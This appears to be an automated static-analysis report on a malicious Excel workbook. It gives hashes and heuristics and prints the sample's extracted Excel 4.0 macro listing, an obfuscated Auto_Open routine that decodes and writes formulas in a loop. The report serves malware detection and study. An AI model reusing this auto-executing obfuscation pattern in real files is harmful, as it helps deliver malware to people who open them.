Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 9bd807039bd620ce…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-25 10:39:39 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: 71d0a16ee97a2a665175f37b2cd01384 SHA-1: faa95c92140779c4d8cae890818e61e28d7f11fa SHA-256: 9bd807039bd620ce321d3e89f2a2c63c87aa63d470e3aa53a9cddc289fb43564
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6357 bytes
SHA-256: e4491044c7f10289f4d919b1470d6463d0224c8cac245209b07765b76e1eb7d3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  oiO
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E171 
' 0018     22 LABEL : Cell Value, String Constant - CEPwDZJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - DgFWwrgExbP len=0 
' 0018     20 LABEL : Cell Value, String Constant - GqYvR len=0 
' 0018     26 LABEL : Cell Value, String Constant - hRJmMbcEcdZ len=0 
' 0018     23 LABEL : Cell Value, String Constant - iKmtuFON len=0 
' 0018     26 LABEL : Cell Value, String Constant - jdTFLqsLsMe len=0 
' 0018     22 LABEL : Cell Value, String Constant - jpUamnf len=0 
' 0018     22 LABEL : Cell Value, String Constant - jRKqULC len=0 
' 0018     22 LABEL : Cell Value, String Constant - LSEsdww len=0 
' 0018     24 LABEL : Cell Value, String Constant - lYfSVqPXo len=0 
' 0018     21 LABEL : Cell Value, String Constant - NWLnwI len=0 
' 0018     21 LABEL : Cell Value, String Constant - OztbKv len=0 
' 0018     24 LABEL : Cell Value, String Constant - pklZWmAZP len=0 
' 0018     21 LABEL : Cell Value, String Constant - RJPeHj len=0 
' 0018     23 LABEL : Cell Value, String Constant - UPtkwbRc len=0 
' 0018     23 LABEL : Cell Value, String Constant - uWCihCiF len=0 
' 0018     22 LABEL : Cell Value, String Constant - XjYemvR len=0 
' 0018     26 LABEL : Cell Value, String Constant - xYYNfyzBPzN len=0 
' 0018     20 LABEL : Cell Value, String Constant - yrKXO len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZQkzoKLpWJV len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  oiO,E87,"SET.NAME("jdTFLqsLsMe",VALUE("0"))",""
'  oiO,E89,"SET.NAME("OztbKv",jdTFLqsLsMe)",""
'  oiO,E93,"SET.NAME("GqYvR",jdTFLqsLsMe)",""
'  oiO,E97,"SET.NAME("pklZWmAZP",COUNTA(iKmtuFON))",""
'  oiO,E101,"SET.NAME("xYYNfyzBPzN",COUNTA(XjYemvR))",""
'  oiO,E104,[],""
'  oiO,E109,"SET.NAME("hRJmMbcEcdZ","")",""
'  oiO,E111,"OztbKv",""
'  oiO,E116,"SET.NAME("LSEsdww",HLOOKUP("*",iKmtuFON,OztbKv,FALSE))",""
'  oiO,E118,"CEPwDZJ",""
'  oiO,E122,"SET.NAME("UPtkwbRc",jdTFLqsLsMe)",""
'  oiO,E127,[],""
'  oiO,E130,"UPtkwbRc",""
'  oiO,E132,"uWCihCiF",""
'  oiO,E134,"jRKqULC",""
'  oiO,E136,"ZQkzoKLpWJV",""
'  oiO,E140,"SET.NAME("lYfSVqPXo",VALUE(HLOOKUP("*",XjYemvR,ZQkzoKLpWJV,FALSE)))",""
'  oiO,E142,"yrKXO",""
'  oiO,E145,"hRJmMbcEcdZ",""
'  oiO,E150,"GqYvR",""
'  oiO,E154,NEXT(),""
'  oiO,E157,"NWLnwI",""
'  oiO,E159,"SET.NAME("f",INT(T(FORMULA(T(hRJmMbcEcdZ)&"",""&T(NWLnwI)))))",""
'  oiO,E162,"RJPeHj",""
'  oiO,E166,NEXT(),""
'  oiO,E168,RETURN(),""
'  oiO,E196,"SET.NAME("DgFWwrgExbP",E87)",""
'  oiO,E198,"iKmtuFON",""
'  oiO,E200,"SET.NAME("XjYemvR",R58C14)",""
'  oiO,E204,"SET.NAME("RJPeHj",213)",""
'  oiO,E207,"SET.NAME("jpUamnf",5)",""
'  oiO,E212,DgFWwrgExbP(),""
'  oiO,E213,HALT(),""